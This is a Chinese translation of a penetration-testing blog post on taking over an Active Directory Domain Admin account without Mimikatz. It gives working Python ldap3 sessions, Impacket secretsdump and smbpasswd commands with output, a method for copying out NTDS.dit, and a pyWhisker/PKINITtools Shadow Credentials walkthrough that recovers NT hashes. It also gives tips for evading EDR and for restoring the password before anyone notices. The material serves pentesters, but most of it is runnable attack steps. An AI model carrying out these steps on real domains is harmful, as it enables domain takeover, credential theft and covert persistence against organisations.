无需Mimikatz即可操控用户密码
在渗透测试中,您可能希望更改用户密码的两个常见原因:
- 您拥有用户的NT哈希但不知道其明文密码。将密码更改为已知的明文值可以允许您访问无法使用Pass-the-Hash的服务。
- 您没有用户的NT哈希或明文密码,但您有修改这些的权限。这可以实现横向移动或权限提升。
这两种用例过去都通过利用Mimikatz的lsadump::setntlm
和lsadump::changentlm
功能来实现。虽然Mimikatz是最好的攻击工具之一,但我尽可能避免使用它,因为它被防病毒和EDR工具高度针对。本文将专门讨论用例#2——重置密码以实现横向移动或权限提升。
考虑以下场景:
BloodHound攻击路径
您控制了n00py用户账户,该账户有权重置esteban_da的密码,而esteban_da是Domain Admins组的成员。
首先,我将快速介绍使用Windows进行此攻击。要执行初始密码重置,您有几个选项:
- 内置的
net.exe
二进制文件。我倾向于避免运行net.exe
,因为这通常是EDR的红旗。
- PowerView的
Set-DomainUserPassword
。这也有效,但如果可能,我喜欢避免导入任何PowerShell脚本。
- 内置的
Set-ADAccountPassword
PowerShell命令。这是我通常首选的。
使用Set-ADAccountPassword重置用户密码
通过此重置,我们可能引发了一个问题。用户esteban_da将无法再登录,因为我们更改了他的密码,我们需要在被注意之前将其更改回来。由于我们现在控制了Domain Admins组中的一个账户,我们将能够将其重置回来。
使用Windows重置密码
首要任务是恢复先前密码的NT哈希。最简单的方法是使用Mimikatz,但我会提供一些替代方案。
使用Mimikatz恢复密码历史
另一种恢复方法是使用命令行工具恢复NTDS.dit数据库以及SYSTEM注册表配置单元。有许多方法可以做到这一点,但一种简单的方法是使用内置的ntdsutil
和命令。
使用ntdsutil恢复NTDS.dit
一旦您拥有这些文件,可以将它们从系统中拉出以进行离线提取。
离线后,可以无检测地使用Mimikatz,但也可以使用Michael Grafnetter的DSInternals进行恢复。
使用DSInternals恢复密码历史
现在原始NT哈希已恢复,是时候重置它了。首先,使用Mimikatz:
使用Mimikatz设置NT哈希
这也可以使用DSInternals和Set-SamAccountPasswordHash
完成:
使用DSInternals设置NT哈希
我喜欢DSInternals是双重用途的,通常不被视为攻击工具。它甚至可以直接从Microsoft PowerShell Gallery安装。
到目前为止,所有方法都需要使用Windows,但如果我们根本不想使用Windows呢?
使用Linux重置密码
此攻击链也可以仅使用在Linux上运行的命令行工具复制。
初始密码重置可以通过使用python ldap3库通过LDAP完成。首先,我们使用n00py账户绑定到LDAP。然后我们对esteban_da执行密码重置。
1
2
3
4
5
6
7
8
9
10
11
|
# python3
>>> import ldap3
>>> from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
>>> user = 'n00py'
>>> password = 'PasswordForn00py'
>>> server = ldap3.Server('n00py.local',get_info = ldap3.ALL, port=636, use_ssl = True)
>>> c = Connection(server, user, password=password)
>>> c.bind()
True
>>> c.extend.microsoft.modify_password('CN=ESTEBAN DA,OU=EMPLOYEES,DC=N00PY,DC=LOCAL', 'NewPass123')
True
|
通过LDAP重置密码
一旦密码重置,我们就控制了Domain Admin。然后可以使用Impacket的secretsdump.py
对esteban_da账户执行DCSync,使用-just-dc-user
和-history
标志。
1
2
3
4
5
6
7
|
# python3 impacket/examples/secretsdump.py esteban_da:NewPass123@n00py.local -just-dc-user esteban_da -history
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
n00py.local\esteban_da:1119:aad3b435b51404eeaad3b435b51404ee:<CURRENT NTHASH>:::
n00py.local\esteban_da_history0:1119:<OLD NT HASH>:::
|
使用Impacket转储密码历史
一旦先前的NT哈希恢复,可以使用Impacket的smbpasswd.py
将其设置回来。
注意:这不绕过密码策略要求,因此您需要事先枚举,特别是最小密码年龄和密码历史。这可以在Windows上使用net accounts /domain
命令或使用CrackMapExec中的–pass-pol
标志完成。如果密码策略成为问题,您可能需要在后渗透中修改它。
1
2
3
4
|
# python3 smbpasswd.py n00py.local/esteban_da:NewPass123@n00py.local -newhashes aad3b435b51404eeaad3b435b51404ee:<OLD NT HASH>
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
[*] NTLM hashes were changed successfully.
|
使用Impacket重置NT哈希
在本文发布时,存在两个(2)活跃的Impacket拉取请求。这些请求添加了通过直接修改域控制器上的NTDS来重置密码的能力,就像Mimikatz一样。这允许绕过密码策略,但需要Domain Admin级别权限来执行。
通过使用Impacket PR #1172,我们可以使用另一个Domain Admin账户将esteban_da重置回原始哈希,并绕过密码历史。
1
2
3
4
|
# python3 smbpasswd.py n00py.local/administrator@n00py.local -hashes :<ADMINISTRATOR NT HASH> -reset esteban_da -newhashes :<ESTEBAN_DA NT HASH>
Impacket v0.9.24.dev1+20210929.201429.1c847042 - Copyright 2021 SecureAuth Corporation
[*] NTLM hashes were set successfully.
|
使用Impacket和绕过密码历史PR#1172重置NT哈希
另一个注意事项是,在将密码哈希设置回其原始值后,账户的密码被设置为过期。要清除此标志,我们可以使用LDAP和从DCSync恢复的另一个域管理员账户的NT哈希。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# python3
>>> import ldap3
>>> from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
>>> server = ldap3.Server('n00py.local',get_info = ldap3.ALL, port=636, use_ssl = True)
>>> user = 'n00py.local\\Administrator'
>>> password =’<LM HASH>:<NT HASH>’
>>> c = Connection(server, user, password=password, authentication=NTLM)
>>> c.bind()
True
>>> from ldap3 import MODIFY_ADD, MODIFY_REPLACE, MODIFY_DELETE
>>> changeUACattribute = {"PwdLastSet": (MODIFY_REPLACE, ["-1"]) }
>>> c.modify('CN=ESTEBAN DA,OU=EMPLOYEES,DC=N00PY,DC=LOCAL', changes=changeUACattribute)
True
|
移除过期密码属性
esteban_da账户随后被设置回其原始配置。
另一个Impacket PR #1171,工作方式大致相同,但语法略有不同。
1
2
3
4
5
|
# python3 smbpasswd.py n00py.local/esteban_da:@n00py.local -newhashes :<ESTEBAN_DA NT HASH> -altuser n00py.local/administrator -althash <ADMINISTRATOR NT HASH> -admin
Impacket v0.9.24.dev1+20220226.11205.67342473 - Copyright 2021 SecureAuth Corporation
[*] Credentials were injected into SAM successfully.
|
使用Impacket和绕过密码历史PR 1171重置NT哈希
额外内容:Shadow Credentials
我们是否需要重置esteban_da的密码来控制它?答案实际上是不需要。再次查看BloodHound图:
BloodHound攻击路径
我们看到我们不仅有权限重置密码,还有GenericWrite权限。但这意味着什么?如果我们查看BloodHound滥用信息,它会告诉我们我们还可以执行有针对性的Kerberoast攻击。
很好,但这仍然需要我们能够从Kerberos票证中恢复明文密码,除非用户密码较弱,否则这是不可能的。
此外,BloodHound提示并不全面,BloodHound并不总是显示从一个对象到另一个对象的每个可用边。这是因为有些边是隐含的,例如GenericAll,这意味着您也有GenericWrite,因此列出是多余的。
如果我们移除GenericWrite并重新运行BloodHound收集,我们会看到:
额外的BloodHound边
我们现在看到四个(4)之前没有看到的边。首先,让我们检查BloodHound的滥用信息:
- WriteDACL:这告诉我们我们可以添加GenericAll权限,然后执行有针对性的Kerberoast攻击或强制密码重置。
- AllExtendedRights:这让我们知道我们可以执行强制密码重置。
- WriteOwner:这让我们知道我们可以更改对象的所有者,并再次执行有针对性的Kerberoast攻击或强制密码重置。
- AddKeyCredentialLink:在本文撰写时,此边没有帮助文本。
借助AddKeyCredentialLink权限,可以执行Shadow Credentials攻击。虽然这种技术被称为攻击者在环境中安静持久化的方式,但它也以与强制密码重置相同的方式用于权限提升。
这允许我们恢复用户的Kerberos票证并恢复其NT哈希,有效地充当单用户DCSync。我不会深入探讨攻击的工作原理,因为这已经被广泛覆盖,但我会演示如何从Windows和Linux执行此攻击。
从Windows进行Shadow Credentials
此攻击可以使用Elad Shamir的Whisker从Windows执行。它非常简单易用,在添加Shadow Credentials后,它会输出证书和Rubeus命令以恢复Kerberos TGT和NT哈希。
使用Whisker添加Shadow Credentials
使用Rubeus获取TGT和NT哈希
从Linux进行Shadow Credentials
从Linux,我们可以使用Charlie Bromberg的pyWhisker执行此攻击。
1
2
3
4
5
6
7
8
9
10
11
12
|
# python3 pywhisker.py -d "n00py.local" -u "n00py" -p "PasswordForn00py" --target "esteban_da" --action "add" --filename hax
[*] Searching for the target account
[*] Target user found: CN=esteban da,OU=Employees,DC=n00py,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 02b2e9ef-d55f-60fe-bca9-f254249a49af
[*] Updating the msDS-KeyCredentialLink attribute of esteban_da
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: hax.pfx
[*] Must be used with password: dfeiecA9SZN75zJ7P5Zs
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
|
使用pyWhisker添加Shadow Credentials
一旦Shadow Credentials就位,可以使用Dirk-jan Mollema的PKINITtools恢复Kerberos TGT和NT哈希。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# python3 gettgtpkinit.py -cert-pfx hax.pfx -pfx-pass dfeiecA9SZN75zJ7P5Zs n00py.local/esteban_da esteban_da.ccache
2022-02-21 16:29:58,106 minikerberos INFO Loading certificate and key from file
2022-02-21 16:29:58,125 minikerberos INFO Requesting TGT
2022-02-21 16:29:58,148 minikerberos INFO AS-REP encryption key (you might need this later):
2022-02-21 16:29:58,148 minikerberos INFO 571d3d9f833365b54bd311a906a63d95da107a8e7457e8ef01b36810daadf243
2022-02-21 16:29:58,151 minikerberos INFO Saved TGT to file
# python3 getnthash.py -key 571d3d9f833365b54bd311a906a63d95da107a8e7457e8ef01b36810daadf243 n00py.local/esteban_da
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
<NT HASH>
|
使用PKINITtools获取TGT和NT哈希
结束语
虽然其中一些主题之前已经覆盖,但拥有多种可用于实现相同目标的技术是有价值的。每个环境都有其独特的约束,拥有更多可用选项增加了成功的可能性。